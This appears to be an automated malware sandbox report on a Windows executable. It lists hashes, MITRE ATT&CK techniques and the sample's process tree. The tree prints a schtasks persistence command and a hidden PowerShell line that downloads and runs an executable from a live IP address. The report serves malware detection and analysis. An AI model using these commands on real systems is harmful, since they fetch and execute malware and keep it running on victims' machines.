f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63

General

Target

XEDT1_random.exe
Size

938KB
MD5

6bf55c81166c49ca51a9f3224fe8a8f3
SHA1

efd7bf8fe47a45f024bec4542e087d3c6361bb06
SHA256

f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63
SHA512

cc056102f57ab916b57dff8cfffa87684e3dfc20d695d6730e044dffa36c2a63f6864b5e5196d2cab8067f9b6b152f537f6b82dbaf23582e580d393c98b7b876
SSDEEP

24576:OqDEvCTbMWu7rQYlBQcBiT6rprG8aell:OTvC/MTQYxsWR7ael

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1248	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1248	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
43	1668	Process not Found
8	1248	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3296967594-3563063956-581523229-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XEDT1_random.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3412	MicrosoftEdgeUpdate.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3052	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1248	powershell.exe
1248	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1248	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4884	XEDT1_random.exe
4884	XEDT1_random.exe
4884	XEDT1_random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4884	XEDT1_random.exe
4884	XEDT1_random.exe
4884	XEDT1_random.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 4204	4884	XEDT1_random.exe	88
PID 4884 wrote to memory of 4204	4884	XEDT1_random.exe	88
PID 4884 wrote to memory of 4204	4884	XEDT1_random.exe	88
PID 4884 wrote to memory of 2524	4884	XEDT1_random.exe	89
PID 4884 wrote to memory of 2524	4884	XEDT1_random.exe	89
PID 4884 wrote to memory of 2524	4884	XEDT1_random.exe	89
PID 4204 wrote to memory of 3052	4204	cmd.exe	91
PID 4204 wrote to memory of 3052	4204	cmd.exe	91
PID 4204 wrote to memory of 3052	4204	cmd.exe	91
PID 2524 wrote to memory of 1248	2524	mshta.exe	93
PID 2524 wrote to memory of 1248	2524	mshta.exe	93
PID 2524 wrote to memory of 1248	2524	mshta.exe	93

C:\Users\Admin\AppData\Local\Temp\XEDT1_random.exe
"C:\Users\Admin\AppData\Local\Temp\XEDT1_random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn hQCdBmaEzUv /tr "mshta C:\Users\Admin\AppData\Local\Temp\uiSJuyR6T.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn hQCdBmaEzUv /tr "mshta C:\Users\Admin\AppData\Local\Temp\uiSJuyR6T.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3052
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\uiSJuyR6T.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'NMZASWD8RW7OO2WC5WH6SDU0TVHBZZWB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1248

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QTk5QUJDRDMtRDY2Ny00OEJFLTgxRTUtNzRCM0U0QjJFNUY3fSIgdXNlcmlkPSJ7NUIzOTg0RTctREI2QS00RDgxLUIyRkUtRDMwMDk1NjdBMjhFfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RjYwMDM5RUUtOTJGOS00OTNELUIxNEMtNEJFRDRFREUwNTYzfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIxIiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODIxNjkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1MzE4NTEwMTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MjIyMzczMDU1Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:3412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_antgfe0k.fec.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\uiSJuyR6T.hta

Filesize
726B

MD5
d8b73f85f50e827aa878999dfc1bf965

SHA1
041c4df7d716aac1076b87a2961a9be701648a12

SHA256
c44b2edc18ce174a274eb5142fcf2d64ff95cf068d34e0bdec23281863b79c66

SHA512
88fefbc39598d6847fae6cfc30f36884c0ee4124c91551e46a3fc503b09485e9c17c06bf4743fa2f02f2fa214107f76d022806f3460cacaed14c1cf42c853619

Download Submit
memory/1248-2-0x0000000002830000-0x0000000002866000-memory.dmp

Filesize
216KB

Download
memory/1248-3-0x00000000050B0000-0x00000000056D8000-memory.dmp

Filesize
6.2MB

Download
memory/1248-4-0x0000000004E80000-0x0000000004EA2000-memory.dmp

Filesize
136KB

Download
memory/1248-5-0x0000000005750000-0x00000000057B6000-memory.dmp

Filesize
408KB

Download
memory/1248-6-0x00000000057C0000-0x0000000005826000-memory.dmp

Filesize
408KB

Download
memory/1248-16-0x0000000005830000-0x0000000005B84000-memory.dmp

Filesize
3.3MB

Download
memory/1248-17-0x0000000005E40000-0x0000000005E5E000-memory.dmp

Filesize
120KB

Download
memory/1248-18-0x0000000005E70000-0x0000000005EBC000-memory.dmp

Filesize
304KB

Download
memory/1248-19-0x0000000007560000-0x0000000007BDA000-memory.dmp

Filesize
6.5MB

Download
memory/1248-20-0x0000000006340000-0x000000000635A000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads